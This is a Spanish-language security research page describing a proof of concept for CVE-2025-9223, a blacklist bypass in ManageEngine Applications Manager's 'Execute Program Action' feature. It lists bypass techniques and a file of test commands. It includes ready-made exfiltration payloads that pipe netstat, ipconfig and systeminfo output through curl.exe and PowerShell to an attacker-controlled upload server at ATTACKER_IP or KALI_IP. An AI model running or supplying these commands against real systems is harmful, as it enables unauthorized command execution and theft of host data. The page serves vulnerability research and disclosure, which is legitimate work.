Applications Manager — Execute Program Action Bypass PoC

CVE-2025-9223 · Ejecución Remota de Código autenticada

Volver a Casos de Estudio
Security Research Python 3.x Proof of Concept

Descripción

Este caso de estudio documenta una Prueba de Concepto (PoC) que demuestra una vulnerabilidad de ejecución de comandos en la función "Execute Program Action" de ManageEngine Applications Manager.

Detalles de la Vulnerabilidad

Applications Manager utiliza una lista negra (BlackListCommands) para bloquear comandos peligrosos, pero la validación tiene fallas críticas:

  • Validación basada en cadenas solo en el primer token
  • Sin normalización de rutas ni expansión de variables de entorno
  • Sin protección contra ejecución indirecta a través de scripts

Métodos de Bypass

MétodoEjemplo
Ruta AbsolutaC:\Windows\System32\netstat.exe
Variables de Entorno%SystemRoot%\System32\netstat.exe
Script Wrapperecho netstat > a.bat && a.bat

Impacto

  • ✅ Ejecución Remota de Código (RCE) autenticada en el host de Applications Manager
  • ✅ Ejecución completa de comandos del sistema evadiendo restricciones de seguridad
  • ✅ Exfiltración de datos usando utilidades del sistema (curl, powershell, certutil)

Ejemplo de Payload de Exfiltración

C:\Windows\System32\netstat.exe > out.txt && C:\Windows\System32\curl.exe -X POST -F "file=@out.txt" http://[KALI_IP]:8000/upload

Configuración y Uso

Prerequisitos

  • Python 3.x
  • Acceso de red a la instancia de Applications Manager objetivo
  • Acceso autenticado con permisos de "Execute Program Action"

Servidor de Carga de Archivos

El script upload_server.py proporciona un servidor HTTP simple para recibir archivos exfiltrados.

Uso Básico

python3 upload_server.py

Opciones Avanzadas

python3 upload_server.py --host 0.0.0.0 --port 8000 --dir ./uploads

Parámetros

  • --host: Dirección de enlace (predeterminado: 0.0.0.0)
  • --port: Puerto HTTP (predeterminado: 8000)
  • --dir: Directorio de salida (predeterminado: directorio actual)

API Endpoints

MétodoEndpointDescripción
GET/Lista archivos subidos recientemente
POST/uploadSube archivos (multipart/form-data)
PUT/upload/[filename]Carga directa de archivos

Características de Seguridad

  • ✅ Protección contra path traversal
  • ✅ Nombres de archivo únicos con timestamp
  • ✅ Registro de solicitudes con IP y User-Agent
  • ✅ Validación de tipo de contenido

Comandos de Prueba

Crea un archivo test_commands.txt con ejemplos de bypass:

# Bypass con ruta absoluta
C:\Windows\System32\whoami.exe
C:\Windows\System32\netstat.exe -an

# Bypass con variables de entorno
%SystemRoot%\System32\ipconfig.exe
%SystemRoot%\System32\systeminfo.exe

# Bypass con script wrapper
echo ipconfig > test.bat && test.bat
echo whoami > test.bat && call test.bat

# Ejemplos de exfiltración de datos
C:\Windows\System32\ipconfig.exe > network.txt && C:\Windows\System32\curl.exe -X POST -F "file=@network.txt" http://ATTACKER_IP:8000/upload
C:\Windows\System32\systeminfo.exe > system.txt && C:\Windows\System32\powershell.exe -c "Invoke-WebRequest -Uri http://ATTACKER_IP:8000/upload -Method POST -InFile system.txt"

Aviso Legal

IMPORTANTE: Esta herramienta se proporciona únicamente con fines educativos y de pruebas autorizadas.

  • NO usar en sistemas que no posea o no tenga permiso explícito para probar
  • NO usar para ninguna actividad ilegal
  • usar solo en entornos controlados para investigación de seguridad
  • obtener autorización adecuada antes de realizar pruebas

El autor no es responsable de ningún uso indebido de esta herramienta. Los usuarios asumen toda la responsabilidad y el riesgo.

Licencia

Este proyecto es solo para fines de investigación y educativos. Todos los derechos reservados.